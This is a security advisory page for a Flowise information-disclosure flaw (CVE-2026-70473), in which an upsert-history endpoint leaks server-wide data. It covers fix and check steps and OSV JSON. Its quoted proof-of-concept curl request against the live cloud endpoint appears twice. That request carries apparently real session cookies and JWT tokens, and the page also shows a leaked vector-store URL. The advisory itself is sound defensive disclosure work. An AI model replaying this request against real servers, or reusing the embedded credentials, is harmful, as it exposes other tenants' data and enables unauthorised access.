CVE-2026-70473: Flowise Information Disclosure Vulnerability

HIGH
Advisory Identifier: GHSA-fr6g-7cq8-fg82
CWE-202 CWE-862 CWE-200
Published
Advisory Summary

CVE-2026-70473 is a HIGH information disclosure vulnerability (CWE-202: Exposure of Sensitive Information Through Data Queries) affecting Flowise libraries in the npm ecosystem. The issue involves information disclosure in get /api/v1/upsert-history returns the entire server-wide upsert history. Remediation is available by upgrading affected packages to version 3.1.3.

CVE-2026-70473 at a Glance

CVE Identifier CVE-2026-70473
GHSA Identifier GHSA-fr6g-7cq8-fg82
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-202: Exposure of Sensitive Information Through Data Queries
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-70473

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.3
npm install flowise@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-70473, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-202: Exposure of Sensitive Information Through Data Queries, where when trying to keep information confidential, an attacker can often infer some of the information by using statistics. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The **GET `/api/v1/upsert-history`** endpoint returns the **entire server-wide upsert history** (response size **>100MB**) instead of being scoped to the requesting user/tenant/workspace. The response includes **sensitive configuration data** (e.g., Vector Store settings such as **Qdrant Server URL** and **collection name**), resulting in a **High severity information disclosure** that may enable further targeted attacks. ### Details - **Affected endpoint:** `GET /api/v1/upsert-history` - **Observed behavior:** The API returns **global upsert history for the whole server**, indicating missing/insufficient: - Authorization checks (RBAC/user-based access control) - Data scoping (workspace/project/tenant isolation) - Pagination/limits (excessive data exposure and very large responses) - **Sensitive data exposure:** The returned history contains integration parameters and infrastructure details. Example excerpt from the response: ```json { "label": "Qdrant", "name": "qdrant", "category": "Vector Stores", "id": "qdrant_0", "paramValues": [ { "label": "Qdrant Server URL", "name": "qdrantServerUrl", "type": "string", "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io" }, { "label": "Qdrant Collection Name", "name": "qdrantCollection", "type": "string", "value": "fair-herring-azure" }, { "label": "Vector Dimension", "name": "qdrantVectorDimension", "type": "number", "value": 1536 }, { "label": "Content Key", "name": "contentPayloadKey", "type": "string", "value": "content" }, { "label": "Metadata Key", "name": "metadataPayloadKey", "type": "string", "value": "metadata" }, { "label": "Similarity", "name": "qdrantSimilarity", "type": "options", "value": "Cosine" } ] } ### POC 1. Using `curl` and call the enpoint `GET /api/v1/upsert-history`, sever returns the **entire server-wide upsert history** ``` curl 'https://cloud.flowiseai.com/api/v1/upsert-history' -X GET -H 'Host: cloud.flowiseai.com' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: en-US,en;q=0.9' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0' -H 'X-Request-From: internal' -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819' -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"' -H 'Connection: keep-alive' -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; __cf_bm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4f_QpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8_ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2s_eXblq8rTh8' --compressed -sS -o resp.json ``` 2. Verify the response size (expected: very large, e.g., >100MB) ``` ls -lh resp.json ``` ### Impact - **Vulnerability type:** Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping) - **Who is impacted:** All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history - **Security consequences:** - Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks - Leakage of internal schema/pipeline details (e.g., content/metadata keys) - Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)

CVE-2026-70473 Affected Flowise Versions

1 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is CVE-2026-70473?
CVE-2026-70473 is a security vulnerability in Flowise involving Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history under CWE-202: Exposure of Sensitive Information Through Data Queries.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise.
What version fixes CVE-2026-70473?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with CVE-2026-70473?
CVE-2026-70473 is classified under CWE-202: Exposure of Sensitive Information Through Data Queries (When trying to keep information confidential, an attacker can often infer some of the information by using statistics.).
How can I check npm dependencies for CVE-2026-70473?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fr6g-7cq8-fg82",
  "modified" : "2026-08-04T17:57:27Z",
  "published" : "2026-08-04T17:57:27Z",
  "aliases" : [ "CVE-2026-70473" ],
  "summary" : "Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history",
  "details" : "### Summary\nThe **GET `/api/v1/upsert-history`** endpoint returns the **entire server-wide upsert history** (response size **>100MB**) instead of being scoped to the requesting user/tenant/workspace. The response includes **sensitive configuration data** (e.g., Vector Store settings such as **Qdrant Server URL** and **collection name**), resulting in a **High severity information disclosure** that may enable further targeted attacks.\n\n### Details\n- **Affected endpoint:** `GET /api/v1/upsert-history`\n- **Observed behavior:** The API returns **global upsert history for the whole server**, indicating missing/insufficient:\n  - Authorization checks (RBAC/user-based access control)\n  - Data scoping (workspace/project/tenant isolation)\n  - Pagination/limits (excessive data exposure and very large responses)\n- **Sensitive data exposure:** The returned history contains integration parameters and infrastructure details. Example excerpt from the response:\n  ```json\n  {\n    \"label\": \"Qdrant\",\n    \"name\": \"qdrant\",\n    \"category\": \"Vector Stores\",\n    \"id\": \"qdrant_0\",\n    \"paramValues\": [\n      {\n        \"label\": \"Qdrant Server URL\",\n        \"name\": \"qdrantServerUrl\",\n        \"type\": \"string\",\n        \"value\": \"https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io\"\n      },\n      {\n        \"label\": \"Qdrant Collection Name\",\n        \"name\": \"qdrantCollection\",\n        \"type\": \"string\",\n        \"value\": \"fair-herring-azure\"\n      },\n      {\n        \"label\": \"Vector Dimension\",\n        \"name\": \"qdrantVectorDimension\",\n        \"type\": \"number\",\n        \"value\": 1536\n      },\n      {\n        \"label\": \"Content Key\",\n        \"name\": \"contentPayloadKey\",\n        \"type\": \"string\",\n        \"value\": \"content\"\n      },\n      {\n        \"label\": \"Metadata Key\",\n        \"name\": \"metadataPayloadKey\",\n        \"type\": \"string\",\n        \"value\": \"metadata\"\n      },\n      {\n        \"label\": \"Similarity\",\n        \"name\": \"qdrantSimilarity\",\n        \"type\": \"options\",\n        \"value\": \"Cosine\"\n      }\n    ]\n  }\n\n### POC \n\n1. Using `curl` and call the enpoint `GET  /api/v1/upsert-history`, sever returns the **entire server-wide upsert history**\n```\ncurl 'https://cloud.flowiseai.com/api/v1/upsert-history'   -X GET   -H 'Host: cloud.flowiseai.com'   -H 'Accept: application/json, text/plain, */*'   -H 'Accept-Language: en-US,en;q=0.9'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0'   -H 'X-Request-From: internal'   -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819'   -H 'If-None-Match: W/\"156-Xbc+zqRKlJRZDUydYMybuU4SQnY\"'   -H 'Connection: keep-alive'   -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; __cf_bm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4f_QpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8_ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2s_eXblq8rTh8'   --compressed   -sS -o resp.json\n```\n2. Verify the response size (expected: very large, e.g., >100MB)\n```\nls -lh resp.json\n```\n\n### Impact\n- **Vulnerability type:** Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping)\n- **Who is impacted:** All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history\n- **Security consequences:**\n  - Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks\n  - Leakage of internal schema/pipeline details (e.g., content/metadata keys)\n  - Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-fr6g-7cq8-fg82"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6170"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/d81483b70c997ddf981acc9c49fbd9a02fa345cd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-202", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T17:57:27Z",
    "nvd_published_at" : null
  }
}